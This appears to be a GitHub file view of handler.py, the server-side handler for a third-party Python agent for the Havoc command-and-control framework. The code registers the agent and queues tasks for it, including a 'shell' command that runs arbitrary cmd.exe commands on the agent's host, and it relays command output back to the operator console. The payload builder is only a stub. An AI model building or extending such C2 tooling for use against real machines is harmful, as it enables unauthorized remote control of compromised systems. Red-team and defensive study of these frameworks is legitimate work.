-
Notifications
You must be signed in to change notification settings - Fork 12
/
handler.py
148 lines (119 loc) · 4.5 KB
/
handler.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
from base64 import b64decode
import json
from havoc.service import HavocService
from havoc.agent import *
import os
COMMAND_REGISTER = 0x100
COMMAND_GET_JOB = 0x101
COMMAND_NO_JOB = 0x102
COMMAND_SHELL = 0x152
COMMAND_EXIT = 0x155
COMMAND_OUTPUT = 0x200
# ====================
# ===== Commands =====
# ====================
class CommandShell(Command):
CommandId = COMMAND_SHELL
Name = "shell"
Description = "executes commands using cmd.exe"
Help = ""
NeedAdmin = False
Params = [
CommandParam(
name="commands",
is_file_path=False,
is_optional=False
)
]
Mitr = []
def job_generate( self, arguments: dict ) -> bytes:
Task = Packer()
Task.add_data(arguments[ 'commands' ])
return Task.buffer
class CommandExit( Command ):
CommandId = COMMAND_EXIT
Name = "exit"
Description = "tells the python agent to exit"
Help = ""
NeedAdmin = False
Mitr = []
Params = []
def job_generate( self, arguments: dict ) -> bytes:
Task = Packer()
Task.add_data("goodbye")
return Task.buffer
# =======================
# ===== Agent Class =====
# =======================
class python(AgentType):
Name = "Python"
Author = "@codex_tf2"
Version = "0.1"
Description = f"""python 3rd party agent for Havoc"""
MagicValue = 0x41414141
Arch = [
"x64",
"x86",
]
Formats = [
{
"Name": "Python script",
"Extension": "py",
},
]
BuildingConfig = {
"Sleep": "10"
}
Commands = [
CommandShell(),
CommandExit(),
]
# generate. this function is getting executed when the Havoc client requests for a binary/executable/payload. you can generate your payloads in this function.
def generate( self, config: dict ) -> None:
print( f"config: {config}" )
# builder_send_message. this function send logs/messages to the payload build for verbose information or sending errors (if something went wrong).
self.builder_send_message( config[ 'ClientID' ], "Info", f"hello from service builder" )
self.builder_send_message( config[ 'ClientID' ], "Info", f"Options Config: {config['Options']}" )
self.builder_send_message( config[ 'ClientID' ], "Info", f"Agent Config: {config['Config']}" )
# build_send_payload. this function send back your generated payload
self.builder_send_payload( config[ 'ClientID' ], self.Name + ".bin", "test bytes".encode('utf-8') ) # this is just an example.
# this function handles incomming requests based on our magic value. you can respond to the agent by returning your data from this function.
def response( self, response: dict ) -> bytes:
agent_header = response[ "AgentHeader" ]
print("Receieved request from agent")
agent_header = response[ "AgentHeader" ]
agent_response = b64decode( response[ "Response" ] ) # the teamserver base64 encodes the request.
#print(agent_response)
agentjson = json.loads(agent_response)
#print(agent_header)
if agentjson["task"] == "register":
#print(json.dumps(agentjson,indent=4))
print("[*] Registered agent")
self.register( agent_header, json.loads(agentjson["data"]) )
AgentID = response[ "AgentHeader" ]["AgentID"]
self.console_message( AgentID, "Good", f"Python agent {AgentID} registered", "" )
return b'registered'
elif agentjson["task"] == "gettask":
AgentID = response[ "Agent" ][ "NameID" ]
#self.console_message( AgentID, "Good", "Host checkin", "" )
print("[*] Agent requested taskings")
Tasks = self.get_task_queue( response[ "Agent" ] )
print("Tasks retrieved")
if len(agentjson["data"]) > 0:
print("Output: " + agentjson["data"])
self.console_message( AgentID, "Good", "Received Output:", agentjson["data"] )
print(Tasks)
return Tasks
def main():
Havoc_python = python()
print(os.getpid())
print( "[*] Connect to Havoc service api" )
Havoc_Service = HavocService(
endpoint="ws://localhost:40056/service-endpoint",
password="service-password"
)
print( "[*] Register python to Havoc" )
Havoc_Service.register_agent(Havoc_python)
return
if __name__ == '__main__':
main()